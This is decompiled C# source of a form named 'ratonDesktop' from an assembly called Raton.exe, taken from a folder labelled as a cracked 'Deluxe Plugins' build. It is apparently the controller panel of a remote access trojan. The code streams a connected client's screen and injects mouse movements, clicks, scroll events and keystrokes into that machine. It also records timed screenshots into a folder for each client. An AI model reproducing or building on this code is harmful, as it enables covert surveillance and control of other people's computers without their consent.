// Decompiled with JetBrains decompiler // Type: Raton.Forms.ClientForms.Monitor.ratonDesktop // Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null // MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 // Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe using CustomControls; using DarkModeForms; using Raton.Classes; using Raton.Properties; using Server.Connection; using Stuff; using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Windows.Forms; #nullable disable namespace Raton.Forms.ClientForms.Monitor; public class ratonDesktop : Form { private bool closing; private IContainer components; private Timer timer1; private Timer timer2; public PictureBox pictureBox1; private MenuStrip menuStrip1; private ToolStripMenuItem toggleConfigurationToolStripMenuItem; private Label label2; private RgbBuildButton button1; private RgbBuildButton button2; private TrackBar trackBar1; public FlatComboBox flatComboBox1; private Label label1; private Label label3; private CustomSwitch checkBox2; private Label label4; private CustomSwitch checkBox1; private CustomSwitch checkBox3; private Panel panel1; private Label label7; private Label label6; private Label label5; public SillyClient SillyClient { get; set; } public int FPS { get; set; } public object OneByOne { get; set; } public Point imageSize { get; set; } private List keysPressed { get; set; } public ratonDesktop() { this.InitializeComponent(); DarkMode.Start((Form) this); this.OneByOne = new object(); this.keysPressed = new List(); } private void ratonDesktop_Load(object sender, EventArgs e) { this.Focus(); this.KeyPreview = true; this.timer1.Start(); this.timer2.Start(); this.MouseWheel += new MouseEventHandler(this.MouseWheelHandler); } private void ratonDesktop_KeyPress(object sender, KeyPressEventArgs e) { if (!this.checkBox1.Checked || this.button1.Enabled || char.IsControl(e.KeyChar)) return; Pack pack = new Pack(); pack.SetString("Packet", "RemoteDesktop"); pack.SetString("Command", "KeyboardChar"); pack.SetInt("Char", (int) e.KeyChar); this.SillyClient.Send(pack.Pacc()); } private void Clickk(int button) { if (!this.checkBox2.Checked || this.button1.Enabled) return; Pack pack = new Pack(); pack.SetString("Packet", "RemoteDesktop"); pack.SetString("Command", "MouseClick"); pack.SetInt("Button", button); this.SillyClient.Send(pack.Pacc()); } private void MouseWheelHandler(object sender, MouseEventArgs e) { if (!this.checkBox2.Checked || this.button1.Enabled) return; Pack pack = new Pack(); pack.SetString("Packet", "RemoteDesktop"); pack.SetString("Command", "MouseWheel"); pack.SetInt("Delta", e.Delta); this.SillyClient.Send(pack.Pacc()); } private void timer1_Tick(object sender, EventArgs e) { if (this.SillyClient != null && this.SillyClient.isConnected()) return; if (this.InvokeRequired) this.BeginInvoke((Delegate) new Action(((Form) this).Close)); else this.Close(); } private void timer2_Tick(object sender, EventArgs e) { try { if (this.checkBox3.Checked && !this.button1.Enabled) { if (this.pictureBox1.Image == null) return; string str1 = Path.Combine(Program.ClientsFolder, this.SillyClient.uid); Directory.CreateDirectory(str1); string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss"); string filename = Path.Combine(str1, $"Desktop_{str2}_{Helpers.Random(2)}.png"); lock (this.OneByOne) { if (this.pictureBox1.Image == null) return; using (Bitmap bitmap = new Bitmap(this.pictureBox1.Image)) bitmap.Save(filename, ImageFormat.Png); } } this.Text = $"Remote desktop | Client ID: {this.SillyClient.uid} | FPS: {this.FPS}"; this.FPS = 0; } catch (Exception ex) { Console.WriteLine(ex.Message); } } private void pictureBox1_MouseDown(object sender, MouseEventArgs e) { int button = e.Button == MouseButtons.Left ? 2 : (e.Button == MouseButtons.Right ? 8 : 0); if (button == 0) return; this.Clickk(button); } private void pictureBox1_MouseUp(object sender, MouseEventArgs e) { int button = e.Button == MouseButtons.Left ? 4 : (e.Button == MouseButtons.Right ? 16 /*0x10*/ : 0); if (button == 0) return; this.Clickk(button); } private void pictureBox1_HelpRequested(object sender, HelpEventArgs hlpevent) { } public void StartCapture(int screen) { Pack pack = new Pack(); pack.SetString("Packet", "RemoteDesktop"); pack.SetString("Command", "Start"); pack.SetInt("Quality", this.trackBar1.Value); pack.SetInt("Screen", screen); this.SillyClient.Send(pack.Pacc()); } public void StopCapture() { Pack pack = new Pack(); pack.SetString("Packet", "RemoteDesktop"); pack.SetString("Command", "Stop"); this.SillyClient.Send(pack.Pacc()); } private void ratonDesktop_HelpButtonClicked(object sender, CancelEventArgs e) { if (this.Tag == (object) "meow") { this.panel1.Visible = false; this.Tag = (object) "aaa"; } else { this.Tag = (object) "meow"; this.panel1.Visible = false; } } private void ratonDesktop_FormClosing(object sender, FormClosingEventArgs e) { if (this.closing) return; this.closing = true; this.timer1.Stop(); this.timer2.Stop(); this.StopCapture(); this.MouseWheel -= new MouseEventHandler(this.MouseWheelHandler); } private void button1_Click(object sender, EventArgs e) { if (this.flatComboBox1.SelectedItem == null || this.flatComboBox1.SelectedText == "No screens :(") { int num = (int) Messenger.MessageBox("No screens detected", "Error", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true); } else { this.StartCapture(this.flatComboBox1.SelectedIndex); this.button1.Enabled = false; this.button2.Enabled = true; this.flatComboBox1.Enabled = false; this.trackBar1.Enabled = false; this.checkBox1.Enabled = false; this.checkBox2.Enabled = false; this.checkBox3.Enabled = false; this.panel1.Visible = false; } } private void button2_Click(object sender, EventArgs e) { this.StopCapture(); this.WindowState = FormWindowState.Normal; this.button1.Enabled = true; this.button2.Enabled = false; this.checkBox1.Enabled = true; this.checkBox2.Enabled = true; this.checkBox3.Enabled = true; this.flatComboBox1.Enabled = true; this.trackBar1.Enabled = true; } private void ratonDesktop_KeyDown(object sender, KeyEventArgs e) { if (!this.checkBox1.Checked || this.button1.Enabled) return; if (!this.keysPressed.Contains(e.KeyCode)) { this.keysPressed.Add(e.KeyCode); if (e.KeyCode == Keys.Back || e.KeyCode == Keys.Tab || e.KeyCode == Keys.Left || e.KeyCode == Keys.Right || e.KeyCode == Keys.Up || e.KeyCode == Keys.Down) { Pack pack = new Pack(); pack.SetString("Packet", "RemoteDesktop"); pack.SetString("Command", "KeyboardClick"); pack.SetBool("isKeyDown", true); pack.SetInt("Key", (int) e.KeyCode); this.SillyClient.Send(pack.Pacc()); } } e.Handled = true; } private void ratonDesktop_KeyUp(object sender, KeyEventArgs e) { if (!this.checkBox1.Checked || this.button1.Enabled) return; this.keysPressed.Remove(e.KeyCode); if (e.KeyCode == Keys.Back || e.KeyCode == Keys.Tab || e.KeyCode == Keys.Left || e.KeyCode == Keys.Right || e.KeyCode == Keys.Up || e.KeyCode == Keys.Down) { Pack pack = new Pack(); pack.SetString("Packet", "RemoteDesktop"); pack.SetString("Command", "KeyboardClick"); pack.SetBool("isKeyDown", false); pack.SetInt("Key", (int) e.KeyCode); this.SillyClient.Send(pack.Pacc()); } e.Handled = true; } private void toggleConfigurationToolStripMenuItem_Click(object sender, EventArgs e) { if (this.Tag == (object) "meow") { this.panel1.Visible = false; this.Tag = (object) "aaa"; } else { this.Tag = (object) "meow"; this.panel1.Visible = true; } } private void pictureBox1_MouseMove(object sender, MouseEventArgs e) { if (!this.checkBox2.Checked || this.button1.Enabled) return; Point point = new Point(e.X * this.imageSize.X / this.pictureBox1.Width, e.Y * this.imageSize.Y / this.pictureBox1.Height); Pack pack = new Pack(); pack.SetString("Packet", "RemoteDesktop"); pack.SetString("Command", "MouseMove"); pack.SetInt("X", point.X); pack.SetInt("Y", point.Y); this.SillyClient.Send(pack.Pacc()); } protected override bool ProcessCmdKey(ref Message msg, Keys keyData) { if (this.checkBox1.Checked && !this.button1.Enabled) { Keys keys = keyData & Keys.KeyCode; switch (keys) { case Keys.Back: case Keys.Tab: case Keys.Return: case Keys.Left: case Keys.Up: case Keys.Right: case Keys.Down: Pack pack1 = new Pack(); pack1.SetString("Packet", "RemoteDesktop"); pack1.SetString("Command", "KeyboardClick"); pack1.SetBool("isKeyDown", true); pack1.SetInt("Key", (int) keys); this.SillyClient.Send(pack1.Pacc()); Pack pack2 = new Pack(); pack2.SetString("Packet", "RemoteDesktop"); pack2.SetString("Command", "KeyboardClick"); pack2.SetBool("isKeyDown", false); pack2.SetInt("Key", (int) keys); this.SillyClient.Send(pack2.Pacc()); return true; } } return base.ProcessCmdKey(ref msg, keyData); } protected override void Dispose(bool disposing) { if (disposing && this.components != null) this.components.Dispose(); base.Dispose(disposing); } private void InitializeComponent() { this.components = (IContainer) new System.ComponentModel.Container(); ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonDesktop)); this.pictureBox1 = new PictureBox(); this.timer1 = new Timer(this.components); this.timer2 = new Timer(this.components); this.menuStrip1 = new MenuStrip(); this.toggleConfigurationToolStripMenuItem = new ToolStripMenuItem(); this.label2 = new Label(); this.button1 = new RgbBuildButton(); this.button2 = new RgbBuildButton(); this.trackBar1 = new TrackBar(); this.flatComboBox1 = new FlatComboBox(); this.label1 = new Label(); this.label3 = new Label(); this.checkBox2 = new CustomSwitch(); this.label4 = new Label(); this.checkBox1 = new CustomSwitch(); this.checkBox3 = new CustomSwitch(); this.panel1 = new Panel(); this.label7 = new Label(); this.label6 = new Label(); this.label5 = new Label(); ((ISupportInitialize) this.pictureBox1).BeginInit(); this.menuStrip1.SuspendLayout(); this.trackBar1.BeginInit(); this.panel1.SuspendLayout(); this.SuspendLayout(); this.pictureBox1.BackgroundImage = (Image) Resources.Monitor_16x; this.pictureBox1.BackgroundImageLayout = ImageLayout.Center; this.pictureBox1.Dock = DockStyle.Fill; this.pictureBox1.Location = new Point(0, 24); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new Size(802, 501); this.pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage; this.pictureBox1.TabIndex = 0; this.pictureBox1.TabStop = false; this.pictureBox1.HelpRequested += new HelpEventHandler(this.pictureBox1_HelpRequested); this.pictureBox1.MouseDown += new MouseEventHandler(this.pictureBox1_MouseDown); this.pictureBox1.MouseMove += new MouseEventHandler(this.pictureBox1_MouseMove); this.pictureBox1.MouseUp += new MouseEventHandler(this.pictureBox1_MouseUp); this.timer1.Tick += new EventHandler(this.timer1_Tick); this.timer2.Interval = 1500; this.timer2.Tick += new EventHandler(this.timer2_Tick); this.menuStrip1.Items.AddRange(new ToolStripItem[1] { (ToolStripItem) this.toggleConfigurationToolStripMenuItem }); this.menuStrip1.Location = new Point(0, 0); this.menuStrip1.Name = "menuStrip1"; this.menuStrip1.Size = new Size(802, 24); this.menuStrip1.TabIndex = 2; this.menuStrip1.Text = "menuStrip1"; this.toggleConfigurationToolStripMenuItem.Image = (Image) Resources.SettingsOutline_16x; this.toggleConfigurationToolStripMenuItem.Name = "toggleConfigurationToolStripMenuItem"; this.toggleConfigurationToolStripMenuItem.Size = new Size(146, 20); this.toggleConfigurationToolStripMenuItem.Text = "Toggle configuration"; this.toggleConfigurationToolStripMenuItem.Click += new EventHandler(this.toggleConfigurationToolStripMenuItem_Click); this.label2.AutoSize = true; this.label2.Location = new Point(11, 165); this.label2.Name = "label2"; this.label2.Size = new Size(91, 15); this.label2.TabIndex = 5; this.label2.Text = "Choose a screen"; this.button1.Cursor = Cursors.Arrow; this.button1.Font = new Font("Segoe UI Semibold", 10.5f); this.button1.ForeColor = Color.White; this.button1.Icon = (Image) Resources.ic_fluent_eye_show_24_filled; this.button1.IconSize = 16 /*0x10*/; this.button1.IconSpacing = 8; this.button1.Location = new Point(14, 278); this.button1.Name = "button1"; this.button1.Size = new Size(217, 32 /*0x20*/); this.button1.TabIndex = 0; this.button1.Text = "Start"; this.button1.Click += new EventHandler(this.button1_Click); this.button2.Cursor = Cursors.Arrow; this.button2.Font = new Font("Segoe UI Semibold", 10.5f); this.button2.ForeColor = Color.White; this.button2.Icon = (Image) Resources.ic_fluent_eye_tracking_on_24_filled; this.button2.IconSize = 16 /*0x10*/; this.button2.IconSpacing = 8; this.button2.Location = new Point(14, 316); this.button2.Name = "button2"; this.button2.Size = new Size(217, 32 /*0x20*/); this.button2.TabIndex = 1; this.button2.Text = "Stop"; this.button2.Click += new EventHandler(this.button2_Click); this.trackBar1.Location = new Point(14, 227); this.trackBar1.Maximum = 100; this.trackBar1.Name = "trackBar1"; this.trackBar1.Size = new Size(217, 45); this.trackBar1.TabIndex = 2; this.trackBar1.Value = 40; this.flatComboBox1.FormattingEnabled = true; this.flatComboBox1.Location = new Point(11, 183); this.flatComboBox1.Name = "flatComboBox1"; this.flatComboBox1.Size = new Size(217, 23); this.flatComboBox1.TabIndex = 4; this.label1.AutoSize = true; this.label1.Location = new Point(14, 209); this.label1.Name = "label1"; this.label1.Size = new Size(45, 15); this.label1.TabIndex = 3; this.label1.Text = "Quality"; this.label3.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); this.label3.Location = new Point(14, 13); this.label3.Name = "label3"; this.label3.Size = new Size(217, 17); this.label3.TabIndex = 8; this.label3.Text = "Manage the settings"; this.label3.TextAlign = ContentAlignment.MiddleCenter; this.checkBox2.AutoSize = true; this.checkBox2.Location = new Point(47, 72); this.checkBox2.MinimumSize = new Size(45, 22); this.checkBox2.Name = "checkBox2"; this.checkBox2.OffBackColor = Color.Gray; this.checkBox2.OffToggleColor = Color.Gainsboro; this.checkBox2.OnBackColor = Color.FromArgb(105, 245, 142); this.checkBox2.OnToggleColor = Color.WhiteSmoke; this.checkBox2.Size = new Size(45, 22); this.checkBox2.TabIndex = 3; this.checkBox2.UseVisualStyleBackColor = true; this.label4.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); this.label4.Location = new Point(14, 30); this.label4.Name = "label4"; this.label4.Size = new Size(217, 36); this.label4.TabIndex = 9; this.label4.Text = "Press the Toggle configuration to open this window again"; this.label4.TextAlign = ContentAlignment.TopCenter; this.checkBox1.AutoSize = true; this.checkBox1.Location = new Point(47, 100); this.checkBox1.MinimumSize = new Size(45, 22); this.checkBox1.Name = "checkBox1"; this.checkBox1.OffBackColor = Color.Gray; this.checkBox1.OffToggleColor = Color.Gainsboro; this.checkBox1.OnBackColor = Color.FromArgb(105, 245, 142); this.checkBox1.OnToggleColor = Color.WhiteSmoke; this.checkBox1.Size = new Size(45, 22); this.checkBox1.TabIndex = 4; this.checkBox1.UseVisualStyleBackColor = true; this.checkBox3.AutoSize = true; this.checkBox3.Location = new Point(47, 128 /*0x80*/); this.checkBox3.MinimumSize = new Size(45, 22); this.checkBox3.Name = "checkBox3"; this.checkBox3.OffBackColor = Color.Gray; this.checkBox3.OffToggleColor = Color.Gainsboro; this.checkBox3.OnBackColor = Color.Red; this.checkBox3.OnToggleColor = Color.WhiteSmoke; this.checkBox3.Size = new Size(45, 22); this.checkBox3.TabIndex = 5; this.checkBox3.UseVisualStyleBackColor = true; this.panel1.Controls.Add((Control) this.label7); this.panel1.Controls.Add((Control) this.label6); this.panel1.Controls.Add((Control) this.label5); this.panel1.Controls.Add((Control) this.checkBox3); this.panel1.Controls.Add((Control) this.checkBox1); this.panel1.Controls.Add((Control) this.label4); this.panel1.Controls.Add((Control) this.checkBox2); this.panel1.Controls.Add((Control) this.label3); this.panel1.Controls.Add((Control) this.label1); this.panel1.Controls.Add((Control) this.flatComboBox1); this.panel1.Controls.Add((Control) this.trackBar1); this.panel1.Controls.Add((Control) this.button2); this.panel1.Controls.Add((Control) this.button1); this.panel1.Controls.Add((Control) this.label2); this.panel1.Location = new Point(0, 24); this.panel1.Name = "panel1"; this.panel1.Size = new Size(247, 362); this.panel1.TabIndex = 1; this.label7.AutoSize = true; this.label7.Location = new Point(96 /*0x60*/, 131); this.label7.Name = "label7"; this.label7.Size = new Size(87, 15); this.label7.TabIndex = 12; this.label7.Text = "Start Recording"; this.label6.AutoSize = true; this.label6.Location = new Point(96 /*0x60*/, 103); this.label6.Name = "label6"; this.label6.Size = new Size(99, 15); this.label6.TabIndex = 11; this.label6.Text = "Control Keyboard"; this.label5.AutoSize = true; this.label5.Location = new Point(96 /*0x60*/, 75); this.label5.Name = "label5"; this.label5.Size = new Size(85, 15); this.label5.TabIndex = 10; this.label5.Text = "Control Mouse"; this.AutoScaleMode = AutoScaleMode.None; this.ClientSize = new Size(802, 525); this.Controls.Add((Control) this.panel1); this.Controls.Add((Control) this.pictureBox1); this.Controls.Add((Control) this.menuStrip1); this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); this.HelpButton = true; this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); this.KeyPreview = true; this.MainMenuStrip = this.menuStrip1; this.Name = nameof (ratonDesktop); this.StartPosition = FormStartPosition.CenterScreen; this.Text = nameof (ratonDesktop); this.HelpButtonClicked += new CancelEventHandler(this.ratonDesktop_HelpButtonClicked); this.FormClosing += new FormClosingEventHandler(this.ratonDesktop_FormClosing); this.Load += new EventHandler(this.ratonDesktop_Load); this.KeyDown += new KeyEventHandler(this.ratonDesktop_KeyDown); this.KeyPress += new KeyPressEventHandler(this.ratonDesktop_KeyPress); this.KeyUp += new KeyEventHandler(this.ratonDesktop_KeyUp); ((ISupportInitialize) this.pictureBox1).EndInit(); this.menuStrip1.ResumeLayout(false); this.menuStrip1.PerformLayout(); this.trackBar1.EndInit(); this.panel1.ResumeLayout(false); this.panel1.PerformLayout(); this.ResumeLayout(false); this.PerformLayout(); } }